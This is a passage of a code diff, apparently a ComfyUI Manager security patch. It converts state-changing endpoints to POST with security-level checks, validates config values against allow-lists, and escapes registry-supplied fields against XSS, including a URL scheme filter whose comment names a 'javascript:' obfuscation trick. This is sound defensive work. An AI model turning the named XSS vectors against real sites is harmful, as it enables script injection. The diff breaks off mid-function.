def restart(self):
|
||||
@routes.post("/v2/manager/channel_url_list")
|
||||
async def set_channel_url(request):
|
||||
# See set_db_mode_api above for gate rationale.
|
||||
if not security_utils.is_allowed_security_level("middle"):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
try:
|
||||
data = await request.json()
|
||||
channels = core.get_channel_dict()
|
||||
channel_url = channels.get(data["value"])
|
||||
if channel_url is None:
|
||||
# Reject unknown channel name explicitly instead of silent no-op.
|
||||
# Parity with set_db_mode / set_update_policy whitelist enforcement.
|
||||
return web.Response(
|
||||
status=400,
|
||||
text=f"Invalid channel name {data['value']!r}; "
|
||||
f"must be one of {sorted(channels.keys())}",
|
||||
)
|
||||
core.get_config()["channel_url"] = channel_url
|
||||
core.write_config()
|
||||
return web.Response(status=200)
|
||||
except (json.JSONDecodeError, KeyError):
|
||||
return web.Response(status=400, text="Invalid request")
|
||||
|
||||
|
||||
@routes.post("/v2/manager/reboot")
|
||||
def restart(request):
|
||||
rejection = security_utils.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
if not security_utils.is_allowed_security_level("middle"):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
@@ -2075,4 +2180,3 @@ threading.Thread(target=lambda: asyncio.run(default_cache_update())).start()
|
||||
if not os.path.exists(context.manager_config_path):
|
||||
core.get_config()
|
||||
core.write_config()
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import os
|
||||
import git
|
||||
from comfyui_manager.common.git_compat import open_repo, setup_git_environment
|
||||
import logging
|
||||
import traceback
|
||||
|
||||
@@ -20,17 +20,17 @@ def print_comfyui_version():
|
||||
|
||||
is_detached = False
|
||||
try:
|
||||
repo = git.Repo(os.path.dirname(folder_paths.__file__))
|
||||
core.comfy_ui_revision = len(list(repo.iter_commits("HEAD")))
|
||||
with open_repo(os.path.dirname(folder_paths.__file__)) as repo:
|
||||
core.comfy_ui_revision = repo.iter_commits_count()
|
||||
|
||||
comfy_ui_hash = repo.head.commit.hexsha
|
||||
cm_global.variables["comfyui.revision"] = core.comfy_ui_revision
|
||||
comfy_ui_hash = repo.head_commit_hexsha
|
||||
cm_global.variables["comfyui.revision"] = core.comfy_ui_revision
|
||||
|
||||
core.comfy_ui_commit_datetime = repo.head.commit.committed_datetime
|
||||
cm_global.variables["comfyui.commit_datetime"] = core.comfy_ui_commit_datetime
|
||||
core.comfy_ui_commit_datetime = repo.head_commit_datetime
|
||||
cm_global.variables["comfyui.commit_datetime"] = core.comfy_ui_commit_datetime
|
||||
|
||||
is_detached = repo.head.is_detached
|
||||
current_branch = repo.active_branch.name
|
||||
is_detached = repo.head_is_detached
|
||||
current_branch = repo.active_branch_name
|
||||
|
||||
comfyui_tag = context.get_comfyui_tag()
|
||||
|
||||
@@ -91,11 +91,23 @@ def print_comfyui_version():
|
||||
)
|
||||
|
||||
|
||||
ALLOWED_UPDATE_POLICIES = ("stable", "stable-comfyui", "nightly", "nightly-comfyui")
|
||||
ALLOWED_DB_MODES = ("cache", "channel", "local", "remote")
|
||||
|
||||
|
||||
def set_update_policy(mode):
|
||||
if mode not in ALLOWED_UPDATE_POLICIES:
|
||||
raise ValueError(
|
||||
f"Invalid update_policy {mode!r}; must be one of {ALLOWED_UPDATE_POLICIES}"
|
||||
)
|
||||
core.get_config()["update_policy"] = mode
|
||||
|
||||
|
||||
def set_db_mode(mode):
|
||||
if mode not in ALLOWED_DB_MODES:
|
||||
raise ValueError(
|
||||
f"Invalid db_mode {mode!r}; must be one of {ALLOWED_DB_MODES}"
|
||||
)
|
||||
core.get_config()["db_mode"] = mode
|
||||
|
||||
|
||||
@@ -103,7 +115,7 @@ def setup_environment():
|
||||
git_exe = core.get_config()["git_exe"]
|
||||
|
||||
if git_exe != "":
|
||||
git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe)
|
||||
setup_git_environment(git_exe)
|
||||
|
||||
|
||||
def initialize_environment():
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
import locale
|
||||
import sys
|
||||
import re
|
||||
|
||||
|
||||
def handle_stream(stream, prefix):
|
||||
@@ -20,41 +19,3 @@ def handle_stream(stream, prefix):
|
||||
print(prefix, msg, end="", file=sys.stderr)
|
||||
else:
|
||||
print(prefix, msg, end="")
|
||||
|
||||
|
||||
def convert_markdown_to_html(input_text):
|
||||
pattern_a = re.compile(r"\[a/([^]]+)]\(([^)]+)\)")
|
||||
pattern_w = re.compile(r"\[w/([^]]+)]")
|
||||
pattern_i = re.compile(r"\[i/([^]]+)]")
|
||||
pattern_bold = re.compile(r"\*\*([^*]+)\*\*")
|
||||
pattern_white = re.compile(r"%%([^*]+)%%")
|
||||
|
||||
def replace_a(match):
|
||||
return f"<a href='{match.group(2)}' target='blank'>{match.group(1)}</a>"
|
||||
|
||||
def replace_w(match):
|
||||
return f"<p class='cm-warn-note'>{match.group(1)}</p>"
|
||||
|
||||
def replace_i(match):
|
||||
return f"<p class='cm-info-note'>{match.group(1)}</p>"
|
||||
|
||||
def replace_bold(match):
|
||||
return f"<B>{match.group(1)}</B>"
|
||||
|
||||
def replace_white(match):
|
||||
return f"<font color='white'>{match.group(1)}</font>"
|
||||
|
||||
input_text = (
|
||||
input_text.replace("\\[", "[")
|
||||
.replace("\\]", "]")
|
||||
.replace("<", "<")
|
||||
.replace(">", ">")
|
||||
)
|
||||
|
||||
result_text = re.sub(pattern_a, replace_a, input_text)
|
||||
result_text = re.sub(pattern_w, replace_w, result_text)
|
||||
result_text = re.sub(pattern_i, replace_i, result_text)
|
||||
result_text = re.sub(pattern_bold, replace_bold, result_text)
|
||||
result_text = re.sub(pattern_white, replace_white, result_text)
|
||||
|
||||
return result_text.replace("\n", "<BR>")
|
||||
|
||||
@@ -5,10 +5,18 @@ from comfyui_manager.common.manager_security import (
|
||||
is_loopback,
|
||||
is_safe_path_target,
|
||||
get_safe_file_path,
|
||||
reject_simple_form_post,
|
||||
)
|
||||
|
||||
# Re-export for backward compatibility
|
||||
__all__ = ['is_loopback', 'is_safe_path_target', 'get_safe_file_path', 'is_allowed_security_level', 'get_risky_level']
|
||||
__all__ = [
|
||||
'is_loopback',
|
||||
'is_safe_path_target',
|
||||
'get_safe_file_path',
|
||||
'reject_simple_form_post',
|
||||
'is_allowed_security_level',
|
||||
'get_risky_level',
|
||||
]
|
||||
|
||||
|
||||
def is_allowed_security_level(level):
|
||||
|
||||
@@ -52,7 +52,7 @@ async function tryInstallCustomNode(event) {
|
||||
}
|
||||
}
|
||||
|
||||
let response = await api.fetchApi("/v2/manager/reboot");
|
||||
let response = await api.fetchApi("/v2/manager/reboot", { method: 'POST' });
|
||||
if(response.status == 403) {
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
return false;
|
||||
|
||||
@@ -14,7 +14,7 @@ import { OpenArtShareDialog } from "./comfyui-share-openart.js";
|
||||
import {
|
||||
free_models, install_pip, install_via_git_url, manager_instance,
|
||||
rebootAPI, setManagerInstance, show_message, customAlert, customPrompt,
|
||||
infoToast, showTerminal, setNeedRestart, generateUUID
|
||||
infoToast, showTerminal, setNeedRestart, generateUUID, sanitizeHTML, sanitizeUrl
|
||||
} from "./common.js";
|
||||
import { CustomNodesManager } from "./custom-nodes-manager.js";
|
||||
import { ModelManager } from "./model-manager.js";
|
||||
@@ -628,14 +628,23 @@ async function switchComfyUI() {
|
||||
showVersionSelectorDialog(versions, obj.current, async (selected_version) => {
|
||||
if(selected_version == 'nightly') {
|
||||
update_policy_combo.value = 'nightly-comfyui';
|
||||
api.fetchApi('/v2/manager/policy/update?value=nightly-comfyui');
|
||||
api.fetchApi('/v2/manager/policy/update', { method: 'POST', body: JSON.stringify({value: 'nightly-comfyui'}) });
|
||||
}
|
||||
else {
|
||||
update_policy_combo.value = 'stable-comfyui';
|
||||
api.fetchApi('/v2/manager/policy/update?value=stable-comfyui');
|
||||
api.fetchApi('/v2/manager/policy/update', { method: 'POST', body: JSON.stringify({value: 'stable-comfyui'}) });
|
||||
}
|
||||
|
||||
let response = await api.fetchApi(`/v2/comfyui_manager/comfyui_switch_version?ver=${selected_version}`, { cache: "no-store" });
|
||||
let response = await api.fetchApi('/v2/comfyui_manager/comfyui_switch_version', {
|
||||
method: 'POST',
|
||||
cache: "no-store",
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({
|
||||
ver: selected_version,
|
||||
client_id: api.clientId,
|
||||
ui_id: api.clientId,
|
||||
}),
|
||||
});
|
||||
if (response.status == 200) {
|
||||
infoToast(`ComfyUI version is switched to ${selected_version}`);
|
||||
}
|
||||
@@ -713,13 +722,14 @@ async function onQueueStatus(event) {
|
||||
msg += "The following custom nodes have been updated:<ul>";
|
||||
for(let x in success_list) {
|
||||
let k = success_list[x];
|
||||
let url = event.detail.nodepack_result[k].url;
|
||||
let title = event.detail.nodepack_result[k].title;
|
||||
// queue results are server-authored and not escaped upstream
|
||||
let url = sanitizeUrl(event.detail.nodepack_result[k].url);
|
||||
let title = sanitizeHTML(String(event.detail.nodepack_result[k].title ?? ''));
|
||||
if(url) {
|
||||
msg += `<li><a href='${url}' target='_blank'>${title}</a></li>`;
|
||||
msg += `<li><a href='${sanitizeHTML(url)}' target='_blank' rel='noopener noreferrer'>${title}</a></li>`;
|
||||
}
|
||||
else {
|
||||
msg += `<li>${k}</li>`;
|
||||
msg += `<li>${sanitizeHTML(String(k))}</li>`;
|
||||
}
|
||||
}
|
||||
msg += "</ul>";
|
||||
@@ -732,13 +742,13 @@ async function onQueueStatus(event) {
|
||||
msg += '<br>The update for the following custom nodes has failed:<ul>';
|
||||
for(let x in failed_list) {
|
||||
let k = failed_list[x];
|
||||
let url = event.detail.nodepack_result[k].url;
|
||||
let title = event.detail.nodepack_result[k].title;
|
||||
let url = sanitizeUrl(event.detail.nodepack_result[k].url);
|
||||
let title = sanitizeHTML(String(event.detail.nodepack_result[k].title ?? ''));
|
||||
if(url) {
|
||||
msg += `<li><a href='${url}' target='_blank'>${title}</a></li>`;
|
||||
msg += `<li><a href='${sanitizeHTML(url)}' target='_blank' rel='noopener noreferrer'>${title}</a></li>`;
|
||||
}
|
||||
else {
|
||||
msg += `<li>${k}</li>`;
|
||||
msg += `<li>${sanitizeHTML(String(k))}</li>`;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -797,7 +807,7 @@ function restartOrStop() {
|
||||
rebootAPI();
|
||||
}
|
||||
else {
|
||||
api.fetchApi('/v2/manager/queue/reset');
|
||||
api.fetchApi('/v2/manager/queue/reset', { method: 'POST' });
|
||||
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
|
||||
}
|
||||
}
|
||||
@@ -951,7 +961,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
.then(data => { this.datasrc_combo.value = data; });
|
||||
|
||||
this.datasrc_combo.addEventListener('change', function (event) {
|
||||
api.fetchApi(`/v2/manager/db_mode?value=${event.target.value}`);
|
||||
api.fetchApi('/v2/manager/db_mode', { method: 'POST', body: JSON.stringify({value: event.target.value}) });
|
||||
});
|
||||
|
||||
const dbRetrievalSetttingItem = createSettingsCombo("DB", this.datasrc_combo);
|
||||
@@ -973,7 +983,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
|
||||
channel_combo.addEventListener('change', function (event) {
|
||||
api.fetchApi(`/v2/manager/channel_url_list?value=${event.target.value}`);
|
||||
api.fetchApi('/v2/manager/channel_url_list', { method: 'POST', body: JSON.stringify({value: event.target.value}) });
|
||||
});
|
||||
|
||||
channel_combo.value = data.selected;
|
||||
@@ -1037,7 +1047,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
});
|
||||
|
||||
update_policy_combo.addEventListener('change', function (event) {
|
||||
api.fetchApi(`/v2/manager/policy/update?value=${event.target.value}`);
|
||||
api.fetchApi('/v2/manager/policy/update', { method: 'POST', body: JSON.stringify({value: event.target.value}) });
|
||||
});
|
||||
|
||||
const updateSetttingItem = createSettingsCombo("Update", update_policy_combo);
|
||||
|
||||
@@ -4,7 +4,7 @@ import { $el, ComfyDialog } from "../../scripts/ui.js";
|
||||
import { CopusShareDialog } from "./comfyui-share-copus.js";
|
||||
import { OpenArtShareDialog } from "./comfyui-share-openart.js";
|
||||
import { YouMLShareDialog } from "./comfyui-share-youml.js";
|
||||
import { customAlert } from "./common.js";
|
||||
import { customAlert, sanitizeHTML, sanitizeUrl } from "./common.js";
|
||||
|
||||
export const SUPPORTED_OUTPUT_NODE_TYPES = [
|
||||
"PreviewImage",
|
||||
@@ -951,7 +951,8 @@ export class ShareDialog extends ComfyDialog {
|
||||
const response_json = await response.json();
|
||||
|
||||
if (response_json.comfyworkflows.url) {
|
||||
this.final_message.innerHTML = "Your art has been shared: <a href='" + response_json.comfyworkflows.url + "' target='_blank'>" + response_json.comfyworkflows.url + "</a>";
|
||||
const sharedUrl = sanitizeHTML(sanitizeUrl(response_json.comfyworkflows.url));
|
||||
this.final_message.innerHTML = "Your art has been shared: <a href='" + sharedUrl + "' target='_blank' rel='noopener noreferrer'>" + sharedUrl + "</a>";
|
||||
if (response_json.matrix.success) {
|
||||
this.final_message.innerHTML += "<br>Your art has been shared in the ComfyUI Matrix server's #share channel!";
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { app } from "../../scripts/app.js";
|
||||
import { $el, ComfyDialog } from "../../scripts/ui.js";
|
||||
import { customAlert } from "./common.js";
|
||||
import { customAlert, sanitizeHTML, sanitizeUrl } from "./common.js";
|
||||
|
||||
const env = "prod";
|
||||
|
||||
@@ -883,7 +883,7 @@ export class CopusShareDialog extends ComfyDialog {
|
||||
const { data } = res.data;
|
||||
if (data) {
|
||||
const url = `${DEFAULT_HOMEPAGE_URL}/work/${data}`;
|
||||
this.message.innerHTML = `Workflow has been shared successfully. <a href="${url}" target="_blank">Click here to view it.</a>`;
|
||||
this.message.innerHTML = `Workflow has been shared successfully. <a href="${sanitizeHTML(sanitizeUrl(url))}" target="_blank" rel="noopener noreferrer">Click here to view it.</a>`;
|
||||
this.previewImage.src = "";
|
||||
this.previewImage.style.display = "none";
|
||||
this.uploadedImages = [];
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import {app} from "../../scripts/app.js";
|
||||
import {api} from "../../scripts/api.js";
|
||||
import {ComfyDialog, $el} from "../../scripts/ui.js";
|
||||
import { customAlert } from "./common.js";
|
||||
import { customAlert, sanitizeHTML, sanitizeUrl } from "./common.js";
|
||||
|
||||
const LOCAL_STORAGE_KEY = "openart_comfy_workflow_key";
|
||||
const DEFAULT_HOMEPAGE_URL = "https://openart.ai/workflows/dev?developer=true";
|
||||
@@ -511,7 +511,7 @@ export class OpenArtShareDialog extends ComfyDialog {
|
||||
const {workflow_id} = response.data;
|
||||
if (workflow_id) {
|
||||
const url = `https://openart.ai/workflows/-/-/${workflow_id}`;
|
||||
this.message.innerHTML = `Workflow has been shared successfully. <a href="${url}" target="_blank">Click here to view it.</a>`;
|
||||
this.message.innerHTML = `Workflow has been shared successfully. <a href="${sanitizeHTML(sanitizeUrl(url))}" target="_blank" rel="noopener noreferrer">Click here to view it.</a>`;
|
||||
this.previewImage.src = "";
|
||||
this.previewImage.style.display = "none";
|
||||
this.uploadedImages = [];
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import {app} from "../../scripts/app.js";
|
||||
import {api} from "../../scripts/api.js";
|
||||
import {ComfyDialog, $el} from "../../scripts/ui.js";
|
||||
import { customAlert } from "./common.js";
|
||||
import { customAlert, sanitizeHTML, sanitizeUrl } from "./common.js";
|
||||
|
||||
const BASE_URL = "https://youml.com";
|
||||
//const BASE_URL = "http://localhost:3000";
|
||||
@@ -420,7 +420,7 @@ export class YouMLShareDialog extends ComfyDialog {
|
||||
}
|
||||
}
|
||||
this.message.innerHTML = `${messagePrefix} To turn your workflow into an interactive app, ` +
|
||||
`<a href="${recipePageUrl}" target="_blank">visit it on YouML</a>`;
|
||||
`<a href="${sanitizeHTML(sanitizeUrl(recipePageUrl))}" target="_blank" rel="noopener noreferrer">visit it on YouML</a>`;
|
||||
|
||||
this.uploadedImages = [];
|
||||
this.nameInput.value = "";
|
||||
|
||||
@@ -172,7 +172,7 @@ export function rebootAPI() {
|
||||
customConfirm("Are you sure you'd like to reboot the server?").then((isConfirmed) => {
|
||||
if (isConfirmed) {
|
||||
try {
|
||||
api.fetchApi("/v2/manager/reboot");
|
||||
api.fetchApi("/v2/manager/reboot", { method: 'POST' });
|
||||
}
|
||||
catch(exception) {}
|
||||
}
|
||||
@@ -216,7 +216,7 @@ export async function install_pip(packages) {
|
||||
});
|
||||
|
||||
if(res.status == 403) {
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
show_message(await install_denial_message(res, 'allow_pip_install'));
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -251,7 +251,7 @@ export async function install_via_git_url(url, manager_dialog) {
|
||||
});
|
||||
|
||||
if(res.status == 403) {
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
show_message(await install_denial_message(res, 'allow_git_url_install'));
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -659,4 +659,54 @@ function initTooltip () {
|
||||
document.body.addEventListener('mouseleave', mouseleaveHandler, true);
|
||||
}
|
||||
|
||||
initTooltip();
|
||||
initTooltip();
|
||||
// Installation flags and network mode take effect after a restart.
|
||||
const INSTALL_DENIAL_RESTART_NOTE = "<BR>Both values are read once at ComfyUI startup, so changing either one needs a restart, done with the server down: STOP ComfyUI, change the setting, then start it again.";
|
||||
|
||||
export const INSTALL_DENIAL_MESSAGES = {
|
||||
allow_git_url_install: "To use this feature, set <code>allow_git_url_install = true</code> in the [default] section of config.ini. This setting is independent of security_level.<BR>Note: if the ComfyUI listener is not local, <code>network_mode = personal_cloud</code> is also required." + INSTALL_DENIAL_RESTART_NOTE,
|
||||
allow_pip_install: "To use this feature, set <code>allow_pip_install = true</code> in the [default] section of config.ini. This setting is independent of security_level.<BR>Note: if the ComfyUI listener is not local, <code>network_mode = personal_cloud</code> is also required." + INSTALL_DENIAL_RESTART_NOTE
|
||||
};
|
||||
|
||||
// Last resort when no entry above applies. Names no flag on purpose.
|
||||
const INSTALL_DENIAL_UNKNOWN_REASON = "This action was refused by the server, and the client could not determine which setting caused it. The server terminal log states the exact condition. Please contact the administrator.";
|
||||
|
||||
// Use the endpoint's flag when the 403 response body is missing or malformed.
|
||||
export async function install_denial_message(res, fallbackReason) {
|
||||
let reason = fallbackReason;
|
||||
try {
|
||||
const data = await res.json();
|
||||
if (typeof data === 'object' && data !== null && typeof data.reason === 'string'
|
||||
&& Object.prototype.hasOwnProperty.call(INSTALL_DENIAL_MESSAGES, data.reason)) {
|
||||
reason = data.reason;
|
||||
}
|
||||
}
|
||||
catch {
|
||||
// absent / non-JSON body: keep the fallback
|
||||
}
|
||||
return INSTALL_DENIAL_MESSAGES[reason] ?? INSTALL_DENIAL_UNKNOWN_REASON;
|
||||
}
|
||||
|
||||
/**
|
||||
* Scheme allow-list for registry-supplied URLs that land in an href.
|
||||
* Returns the URL if it is http(s) or relative, otherwise "". Never throws.
|
||||
*/
|
||||
export function sanitizeUrl(url) {
|
||||
const raw = String(url ?? '').trim();
|
||||
if (!raw) {
|
||||
return '';
|
||||
}
|
||||
let parsed;
|
||||
try {
|
||||
parsed = new URL(raw);
|
||||
}
|
||||
catch {
|
||||
// not absolute: keep a scheme-less relative path, drop anything else
|
||||
return /^[a-z][a-z0-9+.\-]*:/i.test(raw) ? '' : raw;
|
||||
}
|
||||
// URL parsing already normalised the scheme (`java\tscript:` collapses).
|
||||
if (parsed.protocol === 'http:' || parsed.protocol === 'https:') {
|
||||
return raw;
|
||||
}
|
||||
return '';
|
||||
}
|
||||
|
||||
@@ -8,11 +8,13 @@ import {
|
||||
fetchData, md5, icons, show_message, customConfirm, customAlert, customPrompt,
|
||||
sanitizeHTML, infoToast, showTerminal, setNeedRestart,
|
||||
storeColumnWidth, restoreColumnWidth, getTimeAgo, copyText, loadCss,
|
||||
showPopover, hidePopover, generateUUID
|
||||
showPopover, hidePopover, generateUUID, sanitizeUrl
|
||||
} from "./common.js";
|
||||
|
||||
// Registry titles, names and descriptions are server-escaped; other fields are raw.
|
||||
|
||||
// https://cenfun.github.io/turbogrid/api.html
|
||||
import TG from "./turbogrid.esm.js";
|
||||
import ManagerGrid from "./manager-grid.js";
|
||||
|
||||
loadCss("./custom-nodes-manager.css");
|
||||
|
||||
@@ -363,19 +365,20 @@ export class CustomNodesManager {
|
||||
installGroups.enabled = installGroups.enabled.filter(it => it !== "disable" && it !== "uninstall" && it !== "switch");
|
||||
}
|
||||
|
||||
let list = installGroups[action];
|
||||
const list = installGroups[action];
|
||||
|
||||
if(is_selected_button || rowItem?.version === "unknown") {
|
||||
list = list.filter(it => it !== "switch");
|
||||
}
|
||||
|
||||
if (!list) {
|
||||
if (!Array.isArray(list)) {
|
||||
return "";
|
||||
}
|
||||
|
||||
return list.map(id => {
|
||||
const shown = (is_selected_button || rowItem?.version === "unknown")
|
||||
? list.filter(it => it !== "switch")
|
||||
: list;
|
||||
|
||||
return shown.map(id => {
|
||||
const bt = buttons[id];
|
||||
return `<button class="cn-btn-${id} p-button p-component" group="${action}" mode="${bt.mode}">${bt.label}</button>`;
|
||||
// `action` is registry-derived and lands in an attribute.
|
||||
return `<button class="cn-btn-${id} p-button p-component" group="${sanitizeHTML(String(action ?? ''))}" mode="${bt.mode}">${bt.label}</button>`;
|
||||
}).join("");
|
||||
}
|
||||
|
||||
@@ -462,7 +465,7 @@ export class CustomNodesManager {
|
||||
|
||||
".cn-manager-stop": {
|
||||
click: () => {
|
||||
api.fetchApi('/v2/manager/queue/reset');
|
||||
api.fetchApi('/v2/manager/queue/reset', { method: 'POST' });
|
||||
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
|
||||
}
|
||||
},
|
||||
@@ -518,7 +521,7 @@ export class CustomNodesManager {
|
||||
|
||||
initGrid() {
|
||||
const container = this.element.querySelector(".cn-manager-grid");
|
||||
const grid = new TG.Grid(container);
|
||||
const grid = new ManagerGrid(container);
|
||||
this.grid = grid;
|
||||
|
||||
this.flyover = this.createFlyover(container);
|
||||
@@ -579,6 +582,9 @@ export class CustomNodesManager {
|
||||
|
||||
|
||||
grid.setOption({
|
||||
highlightKeywords: {
|
||||
textGenerator: (row, column) => column === 'author' ? sanitizeHTML(String(row[column] ?? '')) : row[column]
|
||||
},
|
||||
theme: 'dark',
|
||||
selectVisible: true,
|
||||
selectMultiple: true,
|
||||
@@ -646,7 +652,8 @@ export class CustomNodesManager {
|
||||
|
||||
let res = await response.json();
|
||||
|
||||
let title = `<FONT COLOR=GREEN><B>Error message occurred while importing the '${rowItem.title}' module.</B></FONT><BR><HR><BR>`
|
||||
// `title` is server-escaped; `res['msg']` below is raw and is escaped.
|
||||
let title = `<FONT COLOR=GREEN><B>Error message occurred while importing the '${String(rowItem.title ?? '')}' module.</B></FONT><BR><HR><BR>`
|
||||
|
||||
if(res.code == 400)
|
||||
{
|
||||
@@ -711,11 +718,12 @@ export class CustomNodesManager {
|
||||
|
||||
const link = document.createElement('a');
|
||||
if(rowItem.originalData.repository)
|
||||
link.href = rowItem.originalData.repository;
|
||||
link.href = sanitizeUrl(rowItem.originalData.repository);
|
||||
else
|
||||
link.href = rowItem.reference;
|
||||
link.href = sanitizeUrl(rowItem.reference);
|
||||
link.target = '_blank';
|
||||
link.innerHTML = `<b>${title}</b>`;
|
||||
link.rel = 'noopener noreferrer';
|
||||
link.innerHTML = `<b>${String(title ?? '')}</b>`;
|
||||
link.title = rowItem.originalData.id;
|
||||
container.appendChild(link);
|
||||
|
||||
@@ -734,11 +742,11 @@ export class CustomNodesManager {
|
||||
}
|
||||
if(rowItem.cnr_latest && version != rowItem.cnr_latest) {
|
||||
if(version == 'nightly') {
|
||||
return `<div>${version}</div><div>[${rowItem.cnr_latest}]</div>`;
|
||||
return `<div>${sanitizeHTML(String(version))}</div><div>[${sanitizeHTML(String(rowItem.cnr_latest))}]</div>`;
|
||||
}
|
||||
return `<div>${version}</div><div>[↑${rowItem.cnr_latest}]</div>`;
|
||||
return `<div>${sanitizeHTML(String(version))}</div><div>[↑${sanitizeHTML(String(rowItem.cnr_latest))}]</div>`;
|
||||
}
|
||||
return version;
|
||||
return sanitizeHTML(String(version));
|
||||
}
|
||||
}, {
|
||||
id: 'action',
|
||||
@@ -777,13 +785,13 @@ export class CustomNodesManager {
|
||||
width: 400,
|
||||
maxWidth: 5000,
|
||||
invisible: !this.hasAlternatives(),
|
||||
classMap: 'cn-pack-desc'
|
||||
classMap: 'cn-pack-desc' // composed HTML; tags are escaped in getAlternatives
|
||||
}, {
|
||||
id: 'description',
|
||||
name: 'Description',
|
||||
width: 400,
|
||||
maxWidth: 5000,
|
||||
classMap: 'cn-pack-desc'
|
||||
classMap: 'cn-pack-desc' // composed HTML from the server (convert_markdown_to_html)
|
||||
}, {
|
||||
id: 'author',
|
||||
name: 'Author',
|
||||
@@ -791,9 +799,9 @@ export class CustomNodesManager {
|
||||
classMap: "cn-pack-author",
|
||||
formatter: (author, rowItem, columnItem) => {
|
||||
if (rowItem.trust) {
|
||||
return `<span tooltip="This author has been active for more than six months in GitHub">✅ ${author}</span>`;
|
||||
return `<span tooltip="This author has been active for more than six months in GitHub">✅ ${sanitizeHTML(String(author ?? ''))}</span>`;
|
||||
}
|
||||
return author;
|
||||
return sanitizeHTML(String(author ?? ''));
|
||||
}
|
||||
}, {
|
||||
id: 'stars',
|
||||
@@ -807,7 +815,7 @@ export class CustomNodesManager {
|
||||
if (typeof stars === 'number') {
|
||||
return stars.toLocaleString();
|
||||
}
|
||||
return stars;
|
||||
return sanitizeHTML(String(stars ?? ''));
|
||||
}
|
||||
}, {
|
||||
id: 'last_update',
|
||||
@@ -822,7 +830,7 @@ export class CustomNodesManager {
|
||||
}
|
||||
const ago = getTimeAgo(last_update);
|
||||
const short = `${last_update}`.split(' ')[0];
|
||||
return `<span tooltip="${ago}">${short}</span>`;
|
||||
return `<span tooltip="${ago}">${sanitizeHTML(String(short))}</span>`;
|
||||
}
|
||||
}];
|
||||
|
||||
@@ -1211,7 +1219,7 @@ export class CustomNodesManager {
|
||||
const rowItem = d.rowItem;
|
||||
const isNotInstalled = rowItem.action == "not-installed";
|
||||
|
||||
let titleHtml = `<div class="cn-nodes-pack" hash="${rowItem.hash}">${rowItem.title}</div>`;
|
||||
let titleHtml = `<div class="cn-nodes-pack" hash="${rowItem.hash}">${String(rowItem.title ?? '')}</div>`;
|
||||
if (isNotInstalled) {
|
||||
titleHtml += '<div class="cn-pack-badge">Not Installed</div>'
|
||||
}
|
||||
@@ -1227,11 +1235,12 @@ export class CustomNodesManager {
|
||||
|
||||
list.push(`<div class="${rowClass}">`);
|
||||
list.push(`<div class="cn-nodes-sn">${i+1}</div>`);
|
||||
list.push(`<div class="cn-nodes-name">${it.name}</div>`);
|
||||
// `it.name` is a raw node name from getmappings (not the pack name)
|
||||
list.push(`<div class="cn-nodes-name">${sanitizeHTML(String(it.name ?? ''))}</div>`);
|
||||
|
||||
if (it.conflicts) {
|
||||
list.push(`<div class="cn-conflicts-list"><div class="cn-nodes-conflict cn-icon">${icons.conflicts}</div><b>Conflict with</b>${it.conflicts.map(c => {
|
||||
return `<div class="cn-nodes-pack" hash="${c.hash}">${c.title}</div>`;
|
||||
return `<div class="cn-nodes-pack" hash="${c.hash}">${String(c.title ?? '')}</div>`;
|
||||
}).join("<b>,</b>")}</div>`);
|
||||
}
|
||||
list.push(`</div>`);
|
||||
@@ -1349,7 +1358,7 @@ export class CustomNodesManager {
|
||||
return;
|
||||
}
|
||||
|
||||
const selectedMap = {};
|
||||
const selectedMap = Object.create(null);
|
||||
selectedList.forEach(item => {
|
||||
let type = item.action;
|
||||
if (item.restart) {
|
||||
@@ -1367,8 +1376,10 @@ export class CustomNodesManager {
|
||||
const list = [];
|
||||
Object.keys(selectedMap).forEach(v => {
|
||||
const filterItem = this.getFilterItem(v);
|
||||
// `v` is a registry-supplied `state`; escape it when no filter label matches.
|
||||
const typeLabel = filterItem ? filterItem.label : sanitizeHTML(String(v ?? ''));
|
||||
list.push(`<div class="cn-selected-buttons">
|
||||
<span>Selected <b>${selectedMap[v].length}</b> ${filterItem ? filterItem.label : v}</span>
|
||||
<span>Selected <b>${selectedMap[v].length}</b> ${typeLabel}</span>
|
||||
${this.grid.hasMask ? "" : this.getActionButtons(v, null, true)}
|
||||
</div>`);
|
||||
});
|
||||
@@ -1466,7 +1477,6 @@ export class CustomNodesManager {
|
||||
target.classList.add("cn-btn-loading");
|
||||
this.showError("");
|
||||
|
||||
let needRestart = false;
|
||||
let errorMsg = "";
|
||||
|
||||
let target_items = [];
|
||||
@@ -1475,13 +1485,13 @@ export class CustomNodesManager {
|
||||
|
||||
for (const hash of list) {
|
||||
const item = this.grid.getRowItemBy("hash", hash);
|
||||
target_items.push(item);
|
||||
|
||||
if (!item) {
|
||||
errorMsg = `Not found custom node: ${hash}`;
|
||||
errorMsg = `Not found custom node: ${sanitizeHTML(String(hash))}`;
|
||||
break;
|
||||
}
|
||||
|
||||
target_items.push(item);
|
||||
this.grid.scrollRowIntoView(item);
|
||||
|
||||
if (!this.focusInstall(item, mode)) {
|
||||
@@ -1538,23 +1548,48 @@ export class CustomNodesManager {
|
||||
this.batch_id = generateUUID();
|
||||
batch['batch_id'] = this.batch_id;
|
||||
|
||||
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(batch)
|
||||
});
|
||||
let failed;
|
||||
try {
|
||||
